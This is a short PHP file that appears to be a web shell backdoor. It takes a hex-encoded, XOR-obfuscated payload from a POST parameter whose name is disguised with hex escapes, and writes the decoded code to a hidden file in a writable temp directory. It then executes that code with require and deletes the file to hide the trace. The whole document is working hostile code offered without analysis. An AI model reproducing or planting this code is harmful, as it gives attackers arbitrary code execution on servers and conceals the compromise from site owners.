<?php

if(filter_has_var(INPUT_POST, "\x64e\x73c")){
	$val = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path()]);
	$flag = hex2bin($_REQUEST["\x64e\x73c"]);
	$descriptor=    ''; for($w=0; $w<strlen($flag); $w++){$descriptor .= chr(ord($flag[$w]) ^ 43);}
	foreach ($val as $key => $elem) {
    		if (is_writable($elem) && is_dir($elem)) {
    $pgrp = "$elem/.parameter_group";
    if (file_put_contents($pgrp, $descriptor)) {
	require $pgrp;
	unlink($pgrp);
	die();
}
}
}
}